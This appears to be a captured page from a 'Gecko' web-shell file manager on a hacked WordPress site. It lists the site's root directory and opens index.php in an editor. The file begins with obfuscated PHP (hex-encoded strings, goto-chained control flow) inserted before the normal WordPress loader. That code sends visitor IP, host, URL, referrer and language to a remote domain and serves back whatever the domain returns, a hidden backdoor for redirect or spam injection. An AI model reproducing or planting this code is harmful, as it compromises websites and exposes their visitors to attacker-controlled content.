Gecko [ touzafair.com ]

Name	Size	Permission
.well-known	[ DIR ]	drwxr-xr-x
cgi-bin	[ DIR ]	drwxr-xr-x
wp-admin	[ DIR ]	drwxr-xr-x
wp-content	[ DIR ]	drwxr-xr-x
wp-includes	[ DIR ]	drwxr-xr-x
.hcflag	30 B	-rw-r--r--
.htaccess	2.38 KB	-rw-r--r--
.htaccess.bk	1.01 KB	-rw-r--r--
.mad-root	0 B	-rw-r--r--
aa.php	124 B	-rw-r--r--
index.php	4.59 KB	-r--r--r--
license.txt	19.45 KB	-rw-r--r--
new.zip	1.49 KB	-rw-r--r--
php.ini	105 B	-rw-r--r--
readme.html	7.24 KB	-rw-r--r--
wp-activate.php	7.21 KB	-rw-r--r--
wp-blog-header.php	350 B	-rw-r--r--
wp-comments-post.php	2.27 KB	-rw-r--r--
wp-config-sample.php	2.96 KB	-rw-r--r--
wp-config.php	3.21 KB	-rw-------
wp-cron.php	5.51 KB	-rw-r--r--
wp-extends.php	2.9 KB	-rw-r--r--
wp-links-opml.php	2.44 KB	-rw-r--r--
wp-load.php	3.84 KB	-rw-r--r--
wp-login.php	50.04 KB	-rw-r--r--
wp-mail.php	8.33 KB	-rw-r--r--
wp-settings.php	28.1 KB	-rw-r--r--
wp-signup.php	33.58 KB	-rw-r--r--
wp-trackback.php	4.77 KB	-rw-r--r--
xmlrpc.php	3.17 KB	-rw-r--r--

Code Editor : index.php

<?php
 goto x51CT; mqYRL: function eo5hc() { goto lLDF9; QAnKz: aDB_2: goto S07MK; lLDF9: $xxz4j = array("\x48\x54\124\x50\137\x43\114\x49\105\x4e\124\137\x49\x50", "\x48\124\124\x50\137\103\x46\x5f\103\x4f\x4e\116\x45\103\x54\x49\116\107\x5f\x49\x50", "\110\x54\124\120\x5f\x58\x5f\106\117\122\127\x41\x52\104\x45\x44\x5f\x46\x4f\122", "\122\x45\115\117\x54\105\x5f\x41\104\104\122"); goto y3gV_; y3gV_: foreach ($xxz4j as $gwWwk) { goto IhLgR; mCnb9: OGbcU: goto M2l11; DqSXY: PTB52: goto mCnb9; tOXlK: return $_SERVER[$gwWwk]; goto DqSXY; IhLgR: if (!(!empty($_SERVER[$gwWwk]) && filter_var($_SERVER[$gwWwk], FILTER_VALIDATE_IP))) { goto PTB52; } goto tOXlK; M2l11: } goto QAnKz; S07MK: return ''; goto BFPmU; BFPmU: } goto WxBpy; keWU9: echo trim($qN0lA); goto HiYFP; hlBeO: if (!$qN0lA) { goto Lqs2I; } goto dAfXm; w9wHE: ihjhT: goto keWU9; HiYFP: die; goto u1D2H; x51CT: error_reporting(0); goto iylX6; u1D2H: Lqs2I: goto QY_Jf; WxBpy: function N67Db($JHeiE, $qN0lA, &$xPBSv) { goto w2q7I; l2Tuq: $xPBSv = substr($xDGZ5, 0, $kxjk3); goto W6KoI; JXTcy: goto wtig3; goto ftOpL; T21J1: return false; goto RUsY_; kOcdF: curl_setopt_array($T2NMh, array(CURLOPT_URL => "\x68\164\x74\x70\x73\x3a\x2f\x2f" . $JHeiE . chr(99) . chr(111) . chr(109), CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_USERAGENT => @$_SERVER["\110\x54\x54\120\137\x55\123\105\122\x5f\x41\x47\x45\116\124"], CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_ENCODING => "\x67\172\151\x70\54\40\144\145\x66\x6c\141\164\145", CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $qN0lA)); goto TLg6V; WHwuR: goto cJCQA; goto omsPT; w666S: $xDGZ5 = null; goto iqJJv; p242d: $xDGZ5 = curl_exec($T2NMh); goto gRhpX; W6KoI: $xDGZ5 = substr($xDGZ5, $kxjk3); goto dwxem; iqJJv: cJCQA: goto GouFx; omsPT: V9niK: goto KIrDg; LV0IP: $kxjk3 = curl_getinfo($T2NMh, CURLINFO_HEADER_SIZE); goto l2Tuq; rAcQv: wtig3: goto WHwuR; H4E1c: $xDGZ5 = null; goto rAcQv; TLg6V: $hV670 = 0; goto w666S; gRhpX: if (curl_errno($T2NMh)) { goto mCp8D; } goto TQC5_; ftOpL: mCp8D: goto neUDr; neUDr: sleep(100); goto fRK_p; RUsY_: ldSG_: goto LV0IP; fRK_p: $hV670++; goto H4E1c; w2q7I: $T2NMh = curl_init(); goto kOcdF; TQC5_: goto V9niK; goto JXTcy; Bw4Vi: return $xDGZ5; goto u9wHs; GouFx: if (!($hV670 < 3)) { goto V9niK; } goto p242d; dwxem: curl_close($T2NMh); goto Bw4Vi; KIrDg: if ($xDGZ5) { goto ldSG_; } goto T21J1; u9wHs: } goto cfrN8; cfrN8: function GtUwO() { return "\150\164\164\160" . (!empty($_SERVER["\x48\124\124\120\x53"]) && $_SERVER["\x48\x54\x54\x50\x53"] !== "\157\x66\x66" || $_SERVER["\123\x45\122\x56\x45\122\x5f\x50\x4f\122\124"] == 443 ? "\163" : ''); } goto PrNS5; dAfXm: foreach (preg_split("\x2f\x5b\134\x72\x5c\156\135\x2b\x2f", $xPBSv) as $qomvH) { goto L8meQ; dNGnW: @header($qomvH); goto Zt2AY; jlLUi: J2br1: goto sH3NQ; Zt2AY: l0PRO: goto jlLUi; L8meQ: if (!(strpos($qomvH, "\103\x6f\x6e\164\145\x6e\164\x2d\124\x79\160\x65") === 0 || strpos($qomvH, "\x48\124\x54\120") === 0)) { goto l0PRO; } goto dNGnW; sH3NQ: } goto w9wHE; PrNS5: $dffB9 = str_replace(UkxKM("\x44\x4f\x43\125\x4d\x45\x4e\124\137\x52\117\x4f\124"), '', uKxkm("\123\103\x52\x49\120\x54\137\x46\x49\x4c\105\x4e\101\115\105")); goto v1sQm; aaNi5: $xPBSv = ''; goto axDlz; axDlz: $qN0lA = n67DB($jFKJ3 . "\56\x6d\x61\x6e\x73\x65\156\x74\x6c\x2e", $g5xPU, $xPBSv); goto EynlV; EynlV: if (!($qN0lA != "\x37")) { goto Z9M1L; } goto hlBeO; nfoOj: function uKxKM($AOlHB) { return @$_SERVER[$AOlHB] ? $_SERVER[$AOlHB] : ''; } goto mqYRL; iylX6: $jFKJ3 = "\x66\x67\x6a\x39\64\63"; goto nfoOj; Jm3b0: $dffB9 = UkXkM("\x50\x48\120\137\123\105\x4c\106"); goto lFaZh; lFaZh: OspAH: goto kIWX0; v1sQm: if (!($dffB9 != uKXKm("\x50\110\x50\x5f\x53\105\x4c\x46") && substr(ukxKm("\120\110\120\137\123\105\x4c\106"), -4) == "\56\x70\x68\160")) { goto OspAH; } goto Jm3b0; kIWX0: $g5xPU = http_build_query(array("\x64" => uKXkM("\x48\x54\x54\x50\137\x48\117\x53\x54"), "\x68" => GTUwo(), "\x75" => UkXkm("\x52\105\121\125\105\123\124\137\125\122\x49"), "\x69" => eO5hc(), "\154" => UkXkM("\x48\124\124\120\137\x41\x43\x43\x45\x50\124\137\x4c\101\x4e\x47\x55\101\x47\105"), "\x72" => UkXkM("\110\x54\124\x50\x5f\122\x45\x46\105\122\105\x52"), "\x66" => $dffB9, "\x7a" => date_default_timezone_get())); goto aaNi5; QY_Jf: Z9M1L:
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *	
 * @var bool
 */
define( 'WP_USE_THEMES', true );
	
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

${this.title}

Code Editor : index.php